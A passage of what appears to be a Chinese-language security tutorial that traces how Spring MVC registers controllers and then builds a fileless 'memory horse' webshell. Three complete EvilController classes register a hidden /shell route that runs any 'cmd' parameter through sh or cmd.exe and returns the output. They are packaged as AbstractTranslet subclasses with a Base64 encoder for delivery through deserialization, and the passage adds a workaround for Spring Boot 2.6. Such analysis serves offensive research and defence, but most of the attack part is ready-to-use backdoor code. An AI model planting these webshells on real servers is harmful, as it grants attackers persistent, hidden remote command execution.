at org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.registerHandlerMethod(AbstractHandlerMethodMapping.java:332)
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.registerHandlerMethod(RequestMappingHandlerMapping.java:420)
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.registerHandlerMethod(RequestMappingHandlerMapping.java:76)
at org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.lambda$detectHandlerMethods$2(AbstractHandlerMethodMapping.java:299)
at org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$$Lambda$519.404588697.accept(Unknown Source:-1)
at java.util.LinkedHashMap.forEach(LinkedHashMap.java:684)
at org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.detectHandlerMethods(AbstractHandlerMethodMapping.java:297)
at org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.processCandidateBean(AbstractHandlerMethodMapping.java:266)
at org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.initHandlerMethods(AbstractHandlerMethodMapping.java:225)
at org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.afterPropertiesSet(AbstractHandlerMethodMapping.java:213)
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.afterPropertiesSet(RequestMappingHandlerMapping.java:205)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.invokeInitMethods(AbstractAutowireCapableBeanFactory.java:1863)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.initializeBean(AbstractAutowireCapableBeanFactory.java:1800)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:620)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:542)
at org.springframework.beans.factory.support.AbstractBeanFactory.lambda$doGetBean$0(AbstractBeanFactory.java:335)
at org.springframework.beans.factory.support.AbstractBeanFactory$$Lambda$199.2145896000.getObject(Unknown Source:-1)
at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:234)
at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:333)
at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:208)
at org.springframework.beans.factory.support.DefaultListableBeanFactory.preInstantiateSingletons(DefaultListableBeanFactory.java:955)
at org.springframework.context.support.AbstractApplicationContext.finishBeanFactoryInitialization(AbstractApplicationContext.java:929)
at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:591)
at org.springframework.boot.web.servlet.context.ServletWebServerApplicationContext.refresh(ServletWebServerApplicationContext.java:147)
at org.springframework.boot.SpringApplication.refresh(SpringApplication.java:732)
at org.springframework.boot.SpringApplication.refreshContext(SpringApplication.java:409)
at org.springframework.boot.SpringApplication.run(SpringApplication.java:308)
at org.springframework.boot.SpringApplication.run(SpringApplication.java:1300)
at org.springframework.boot.SpringApplication.run(SpringApplication.java:1289)
at com.example.HelloApplication.main(HelloApplication.java:9)

首先 initHandlerMethods 方法遍历所有 Bean,传入 processCandidateBean 方法中来处理 Bean。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/**
* 在 ApplicationContext 中扫描所有候选 Bean,检测并注册其处理器方法(HandlerMethod)。
* @see #getCandidateBeanNames() // 获取需要参与扫描的 Bean 名称列表
* @see #processCandidateBean // 逐个 Bean 解析并注册映射
* @see #handlerMethodsInitialized // 全部注册完成后的回调钩子
*/
protected void initHandlerMethods() {
// 遍历候选 Bean 名称
for (String beanName : getCandidateBeanNames()) {
// 跳过作用域代理的“目标 Bean”定义(形如 "scopedTarget.xxx"),避免与代理 Bean 重复扫描/注册
if (!beanName.startsWith(SCOPED_TARGET_NAME_PREFIX)) {
// 检测该 Bean 是否为“处理器”(如类/方法上有 @Controller/@RequestMapping 等);
// 若是,则解析其方法上的映射信息并注册为 HandlerMethod
processCandidateBean(beanName);
}
}
// 所有 HandlerMethod 注册完成后的回调(默认可为空;子类可用于日志、度量或二次处理)
handlerMethodsInitialized(getHandlerMethods());
}

跟进 processCandidateBean 方法中,通过 getType 方法获取 beanType,后续判断该 Bean 是否为 Handler 对象,如果是的话,就将其传入 detectHandlerMethods 方法中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/**
* 根据给定的候选 bean 名称判定其类型,若识别为“处理器类型”则调用
* {@link #detectHandlerMethods} 扫描并注册其处理方法。
*
* 实现要点:通过 BeanFactory#getType 预测类型,避免提前创建 Bean 实例;
* 若无法解析类型(懒加载/类加载异常等),则忽略并在 TRACE 级别记录日志。
*
* @param beanName 候选 bean 的名称
* @since 5.1
* @see #isHandler
* @see #detectHandlerMethods
*/
protected void processCandidateBean(String beanName) {
Class<?> beanType = null;
try {
// 尝试在不实例化 Bean 的前提下获取类型(预测类型),以避免触发构造/副作用
beanType = obtainApplicationContext().getType(beanName);
}
catch (Throwable ex) {
// 类型无法解析(多见于懒加载 Bean、类加载问题等)——忽略;必要时输出 TRACE 日志
if (logger.isTraceEnabled()) {
logger.trace("Could not resolve type for bean '" + beanName + "'", ex);
}
}
// 若成功拿到类型,且该类型被判定为处理器(如带 @Controller/@RequestMapping)
if (beanType != null && isHandler(beanType)) {
// 基于 beanName 扫描并注册其处理方法映射(保持延迟创建、兼容代理类/AOP)
detectHandlerMethods(beanName);
}
}

detectHandlerMethods 方法中,调用 getMappingForMethod 来获取到 Mapmethods,构成为 <Method,RequestMapping>,后续通过遍历 methods,调用 registerHandlerMethod 方法执行了注册 Controller 的操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
/**
* 在指定的“处理器 Bean”中查找处理方法(handler methods)。
* @param handler 可以是 Bean 名称(String),也可以是实际的处理器实例
* @see #getMappingForMethod
*/
@Override
@Nullable
protected void detectHandlerMethods(Object handler) {
// 1) 根据传入类型确定处理器的“类”:
// - 如果是 String,则视为 beanName,用 ApplicationContext#getType 预测类型(避免立刻实例化);
// - 如果是实例,则直接取实例的 Class。
Class<?> handlerType = (handler instanceof String ?
obtainApplicationContext().getType((String) handler) : handler.getClass());

if (handlerType != null) {
// 2) 获取“用户真实类”(去掉 CGLIB/JDK 代理壳,拿到原始业务类)
Class<?> userType = ClassUtils.getUserClass(handlerType);

// 3) 选择当前类中所有“有映射”的方法:
// MethodIntrospector.selectMethods 会遍历 userType 的可检查方法,并通过 MetadataLookup 回调
// 为每个方法计算“映射信息 T”(子类定义的 T,例如 RequestMappingHandlerMapping 中是 RequestMappingInfo)。
Map<Method, T> methods = MethodIntrospector.selectMethods(userType,
(MethodIntrospector.MetadataLookup<T>) method -> {
try {
// 3.1 计算该方法对应的映射信息(可能综合类级、方法级 @RequestMapping 及其它条件)
return getMappingForMethod(method, userType);
}
catch (Throwable ex) {
// 3.2 如果标注不合法或解析失败,抛出更明确的异常(包含类名与方法签名)
throw new IllegalStateException("Invalid mapping on handler class [" +
userType.getName() + "]: " + method, ex);
}
});

// 4) 打印映射日志:TRACE 级别更详细;否则用 mappingsLogger 的 DEBUG 级别
if (logger.isTraceEnabled()) {
logger.trace(formatMappings(userType, methods));
}
else if (mappingsLogger.isDebugEnabled()) {
mappingsLogger.debug(formatMappings(userType, methods));
}

// 5) 对每个“有映射”的方法进行最终注册
methods.forEach((method, mapping) -> {
// 5.1 选择可调用的方法(考虑 AOP 代理、桥接方法/泛型擦除、接口方法到实现类方法的映射等)
Method invocableMethod = AopUtils.selectInvocableMethod(method, userType);
// 5.2 将 (handler, method, mapping) 注册到映射注册表(mappingRegistry)
// 之后就能通过 URL/HTTP 方法等条件路由到该方法
registerHandlerMethod(handler, invocableMethod, mapping);
});
}
}

持续跟进 registerHandlerMethod,最后注册 Controller 的方法为 this.mappingRegistry.register 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
/**
* 为给定的处理器方法注册一个“唯一”的映射。框架在启动时对每个被检测到的
* handler method 都会调用本方法完成注册。
*
* @param handler 处理器(可以是 bean 名称,也可以是实际实例)
* @param method 要注册的 Java 方法(控制器方法)
* @param mapping 与该方法关联的映射条件(如路径、HTTP 方法、consumes/produces 等)
* @throws IllegalStateException 若已存在“相同映射条件”的其他方法,触发冲突则抛出异常
*/
protected void registerHandlerMethod(Object handler, Method method, T mapping) {
// 交给内部的映射注册表完成:并发写锁、唯一性校验、索引构建与缓存
this.mappingRegistry.register(mapping, handler, method);
}

内存马实现

在 Spring2.5 - 3.1 中使用 defaultAnnotationHandlerMapping 处理URL映射。在 Spring3.1 之后使用 RequestMappingHandlerMapping 方法。在模拟注册 Controller 时,一般有三种方法。

registryMapping

根据上面的源码分析,可以直接将 Controller 直接注册进 registryMapping。而想要将 Controller 注册去,那么我们就要获取到 registryMapping,该参数可以直接通过调用 WebApplicationContextgetBean 方法获取:

1
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

在调用 RegistryMapping 注册时,需要传入三个参数:RequestMappingInfoControllerMethod,因此这三个参数是我们所需要构造的

  • 创建 RequestMappingInfo,需要传入 PatternsRequestCondition(Controller 映射的 URL)和 RequestMethodsRequestCondition(HTTP的请求方法)

    1
    2
    3
    PatternsRequestCondition url = new PatternsRequestCondition("/shell");
    RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
    RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
  • 恶意 Controller 就是我们的核心,内容如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    @RestController
    public class InjectedController {
    public InjectedController(){
    }
    public void cmd() throws Exception {
    HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
    HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
    if (request.getParameter("cmd") != null) {
    boolean isLinux = true;
    String osTyp = System.getProperty("os.name");
    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
    isLinux = false;
    }
    String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
    Scanner s = new Scanner(in).useDelimiter("\\A");
    String output = s.hasNext() ? s.next() : "";
    response.getWriter().write(output);
    response.getWriter().flush();
    response.getWriter().close();
    }
    }

    关于代码里使用 useDelimiter(“\A”) 的意思

    正则表达式”\A“跟”^“的作用是一样的,代表文本的开头。这里表示:以文本的开头作为分隔符分割文本(默认是使用空格作为分隔符)。这样就能一下子获取整段文本的内容了,同时 Scanner 也在内部完成了 InputStreamString 的操作。节省书写代码,即不需要我们再写循环把 inputStream 的内容读到 byte[] 再放进 String

  • 最后需要创建 Method,就是我们想要触发的 Controller 中的方法,这里我们通过反射获取该方法:

    1
    Method method = InjectedController.class.getMethod("cmd");

最后调用 RegistryMapping 方法进行注册即可:

1
requestMappingHandlerMapping.registerMapping(info, injectedController, method);

完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.stereotype.Controller;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.Scanner;

@Controller
public class EvilController extends AbstractTranslet {

static {
try {
//获取当前上下文环境
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

//手动注册Controller
//从上下文中获得 RequestMappingHandlerMapping
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
//通过反射获得controller中的Method
Method method = EvilController.class.getDeclaredMethod("shell", HttpServletRequest.class, HttpServletResponse.class);

//定义controller的路径
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
//定义访问controller的HTTP方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);

r.registerMapping(info, new EvilController(), method);
} catch (Exception ignored) {
}
}

public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

public static void main(String[] args) {
String b64 = Base64.getEncoder().encodeToString(Repository.lookupClass(EvilController.class).getBytes());
System.out.println(b64.length());
System.out.println(b64);
}
}

然而上述代码从 Springboot 2.6.0 版本开始会产生如下报错:

java.lang.IllegalArgumentException: Expected lookupPath in request attribute “org.springframework.web.util.UrlPathHelper.PATH”.

原因在于从 Springboot 2.6.0 版本开始,官方修改了url路径的默认匹配策略,版本发布日志部分如下:

The default strategy for matching request paths against registered Spring MVC handler mappings has changed from AntPathMatcher to PathPatternParser.

Spring MVC 中,用于将请求路径与已注册的处理器映射(handler mapping)进行匹配的默认策略已从原来的 AntPathMatcher 更改为 PathPatternParser

如果在 Springboot 2.6.0 的环境下,通过 application.properties 配置文件设置 spring.mvc.pathmatch.matching-strategy 的值为 ant_path_matcher,即修改服务端的路径匹配策略为 AntPathMatcher,注入的 Controller 内存马后访问就没问题了。

1
spring.mvc.pathmatch.matching-strategy=ant_path_matcher

ant-path-matcher/ant_path_matcher 都能被 Boot 绑定,不用纠结连字符还是下划线。

AbstractHandlerMethodMapping#detectHandelrMethod() 函数中,methods 是一个 map 对象,Method 对象作为键,相应的包含访问路径等信息的 RequestMappingInfo 对象作为值。最后遍历 methods 这个 map 集合,对每一项进行注册,即把每一个method、访问路径及 Controller 保存到 AbstractHandlerMethodMapping.MappingRegistry 对象中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 3) 选择当前类中所有“有映射”的方法:
// MethodIntrospector.selectMethods 会遍历 userType 的可检查方法,并通过 MetadataLookup 回调
// 为每个方法计算“映射信息 T”(子类定义的 T,例如 RequestMappingHandlerMapping 中是 RequestMappingInfo)。
Map<Method, T> methods = MethodIntrospector.selectMethods(userType,
(MethodIntrospector.MetadataLookup<T>) method -> {
try {
// 3.1 计算该方法对应的映射信息(可能综合类级、方法级 @RequestMapping 及其它条件)
return getMappingForMethod(method, userType);
}
catch (Throwable ex) {
// 3.2 如果标注不合法或解析失败,抛出更明确的异常(包含类名与方法签名)
throw new IllegalStateException("Invalid mapping on handler class [" +
userType.getName() + "]: " + method, ex);
}
});

// [...]

// 5) 对每个“有映射”的方法进行最终注册
methods.forEach((method, mapping) -> {
// 5.1 选择可调用的方法(考虑 AOP 代理、桥接方法/泛型擦除、接口方法到实现类方法的映射等)
Method invocableMethod = AopUtils.selectInvocableMethod(method, userType);
// 5.2 将 (handler, method, mapping) 注册到映射注册表(mappingRegistry)
// 之后就能通过 URL/HTTP 方法等条件路由到该方法
registerHandlerMethod(handler, invocableMethod, mapping);
});

再看一下 methods 里的每一项,作为 key 的 Method 对象很好理解,那作为 value 的 RequestMappingInfo 对象时如何创建的呢?

还是上面的代码,它是由 RequestMappingHandlerMapping#getMappingForMethod() 方法创建的,该方法又调用了 RequestMappingInfo#createRequestMappingInfo(RequestMapping, RequestCondition) 方法。

1
2
3
4
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.createRequestMappingInfo(RequestMappingHandlerMapping.java:368)
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.createRequestMappingInfo(RequestMappingHandlerMapping.java:324)
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.getMappingForMethod(RequestMappingHandlerMapping.java:284)
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.getMappingForMethod(RequestMappingHandlerMapping.java:76)

来看一下 createRequestMappingInfo(RequestMapping, RequestCondition) 方法的实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/**
* 基于给定的 {@link RequestMapping @RequestMapping} 注解创建一个 {@link RequestMappingInfo}。
* 这里的 @RequestMapping 可能是:
* - 直接标在类/方法上的注解;
* - 作为元注解(meta-annotation)间接出现;
* - 由注解层级合并与别名解析后“合成”的结果(synthesized),例如 value 与 path 的别名统一。
*/
protected RequestMappingInfo createRequestMappingInfo(
RequestMapping requestMapping, @Nullable RequestCondition<?> customCondition) {

// 构建器:把 @RequestMapping 上声明的各类匹配条件逐项写入
RequestMappingInfo.Builder builder = RequestMappingInfo
// 路径模式(支持占位符/环境变量),先对路径中嵌入的占位值做解析
.paths(resolveEmbeddedValuesInPatterns(requestMapping.path()))
// HTTP 方法条件:GET/POST/PUT/DELETE/...
.methods(requestMapping.method())
// 请求参数条件:如 params={"a=1","b"} 等
.params(requestMapping.params())
// Header 条件:如 headers={"X-Req=1"} 等
.headers(requestMapping.headers())
// 请求体消费类型:Content-Type 匹配,如 consumes="application/json"
.consumes(requestMapping.consumes())
// 响应生产类型:Accept/响应类型匹配,如 produces="application/json"
.produces(requestMapping.produces())
// 映射名称(可用于映射命名策略/链接到方法)
.mappingName(requestMapping.name());

// 自定义的额外匹配条件(由子类提供),例如自定义版本条件、租户条件等
if (customCondition != null) {
builder.customCondition(customCondition);
}

// 使用当前 HandlerMapping 的配置项收尾(对齐路径匹配策略、是否使用 PathPattern、尾斜杠、矩阵变量等)
return builder.options(this.config).build();
}

所以我们可以参照这段代码来得到 RequestMappingInfo 对象,实现更通用的 Controller 内存马。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.stereotype.Controller;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.Scanner;

@Controller
public class EvilController extends AbstractTranslet {

static {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
Method method = EvilController.class.getDeclaredMethod("shell", HttpServletRequest.class, HttpServletResponse.class);

Field configField = r.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =
(RequestMappingInfo.BuilderConfiguration) configField.get(r);
RequestMappingInfo info = RequestMappingInfo.paths("/shell")
.options(config)
.build();
r.registerMapping(info, new EvilController(), method);
} catch (Exception ignored) {
}
}

public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

public static void main(String[] args) {
String b64 = Base64.getEncoder().encodeToString(Repository.lookupClass(EvilController.class).getBytes());
System.out.println(b64.length());
System.out.println(b64);
}
}

或者我们干脆直接调用 RequestMappingHandlerMapping#getMappingForMethod() 去获取 RequestMappingInfo 对象,不过实现时要注意两点:

  • RequestMappingHandlerMapping#getMappingForMethod() 方法本身并没有接收 method 对应的 url 路径,它会从 method@RequestMapping 注解中获取 url 路径。如果这个 method 没有被 @RequestMapping 或其子类如 @GetMapping@PostMapping 注解的话,是无法得到 RequestMappingInfo 对象的,得到的是 null

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    /**
    * 根据传入的元素(类或方法)创建对应的 RequestMappingInfo。
    * 实际工作委托给 {@link #createRequestMappingInfo(RequestMapping, RequestCondition)},
    * 同时根据“类/方法”选择合适的自定义匹配条件(RequestCondition)。
    *
    * 逻辑说明:
    * 1) 使用 AnnotatedElementUtils.findMergedAnnotation 查找并“合并” @RequestMapping
    * - 支持直接标注、元注解(meta-annotation)以及层级合并(含 @AliasFor 处理)。
    * 2) 如果 element 是 Class,则取类级别的自定义条件;如果是 Method,则取方法级别的自定义条件。
    * 3) 若找到了 @RequestMapping,则构建 RequestMappingInfo;否则返回 null(表示该元素无映射)。
    *
    * @see #getCustomTypeCondition(Class) // 提供类级别的自定义匹配条件扩展点
    * @see #getCustomMethodCondition(Method) // 提供方法级别的自定义匹配条件扩展点
    */
    @Nullable
    private RequestMappingInfo createRequestMappingInfo(AnnotatedElement element) {
    // 合并查找 @RequestMapping(支持组合注解与属性别名)
    RequestMapping requestMapping =
    AnnotatedElementUtils.findMergedAnnotation(element, RequestMapping.class);

    // 针对类/方法分别获取对应的自定义条件(可由子类覆盖以扩展匹配维度,如版本、租户等)
    RequestCondition<?> condition = (element instanceof Class
    ? getCustomTypeCondition((Class<?>) element)
    : getCustomMethodCondition((Method) element));

    // 若存在 @RequestMapping,则创建 RequestMappingInfo;否则返回 null
    return (requestMapping != null ? createRequestMappingInfo(requestMapping, condition) : null);
    }
  • 由于 RequestMappingHandlerMapping#getMappingForMethod() 方法不是 public 修饰的方法,所以需要使用反射调用。

综上,可得到另一种通用 Controller 内存马的实现方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.Scanner;

@Controller
public class EvilController extends AbstractTranslet {

static {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
Method method = EvilController.class.getDeclaredMethod("shell", HttpServletRequest.class, HttpServletResponse.class);

Method getMappingForMethod = r.getClass().getDeclaredMethod("getMappingForMethod", Method.class, Class.class);
getMappingForMethod.setAccessible(true);
RequestMappingInfo info =
(RequestMappingInfo) getMappingForMethod.invoke(r, method, EvilController.class);

r.registerMapping(info, new EvilController(), method);
} catch (Exception ignored) {
}
}

@RequestMapping("/shell")
public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

public static void main(String[] args) {
String b64 = Base64.getEncoder().encodeToString(Repository.lookupClass(EvilController.class).getBytes());
System.out.println(b64.length());
System.out.println(b64);
}
}
detectHandlerMethods

在上面分析注册流程时,detectHandlerMethods 中,用 getMappingForMethod 获取了 RequestMappingInfo,然后调用 registerHandlerMethod 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
/**
* 在指定的“处理器 Bean”中查找处理方法(handler methods)。
* @param handler 可以是 Bean 名称(String),也可以是实际的处理器实例
* @see #getMappingForMethod
*/
@Override
@Nullable
protected void detectHandlerMethods(Object handler) {
// 1) 根据传入类型确定处理器的“类”:
// - 如果是 String,则视为 beanName,用 ApplicationContext#getType 预测类型(避免立刻实例化);
// - 如果是实例,则直接取实例的 Class。
Class<?> handlerType = (handler instanceof String ?
obtainApplicationContext().getType((String) handler) : handler.getClass());

if (handlerType != null) {
// 2) 获取“用户真实类”(去掉 CGLIB/JDK 代理壳,拿到原始业务类)
Class<?> userType = ClassUtils.getUserClass(handlerType);

// 3) 选择当前类中所有“有映射”的方法:
// MethodIntrospector.selectMethods 会遍历 userType 的可检查方法,并通过 MetadataLookup 回调
// 为每个方法计算“映射信息 T”(子类定义的 T,例如 RequestMappingHandlerMapping 中是 RequestMappingInfo)。
Map<Method, T> methods = MethodIntrospector.selectMethods(userType,
(MethodIntrospector.MetadataLookup<T>) method -> {
try {
// 3.1 计算该方法对应的映射信息(可能综合类级、方法级 @RequestMapping 及其它条件)
return getMappingForMethod(method, userType);
}
catch (Throwable ex) {
// 3.2 如果标注不合法或解析失败,抛出更明确的异常(包含类名与方法签名)
throw new IllegalStateException("Invalid mapping on handler class [" +
userType.getName() + "]: " + method, ex);
}
});

// 4) 打印映射日志:TRACE 级别更详细;否则用 mappingsLogger 的 DEBUG 级别
if (logger.isTraceEnabled()) {
logger.trace(formatMappings(userType, methods));
}
else if (mappingsLogger.isDebugEnabled()) {
mappingsLogger.debug(formatMappings(userType, methods));
}

// 5) 对每个“有映射”的方法进行最终注册
methods.forEach((method, mapping) -> {
// 5.1 选择可调用的方法(考虑 AOP 代理、桥接方法/泛型擦除、接口方法到实现类方法的映射等)
Method invocableMethod = AopUtils.selectInvocableMethod(method, userType);
// 5.2 将 (handler, method, mapping) 注册到映射注册表(mappingRegistry)
// 之后就能通过 URL/HTTP 方法等条件路由到该方法
registerHandlerMethod(handler, invocableMethod, mapping);
});
}
}

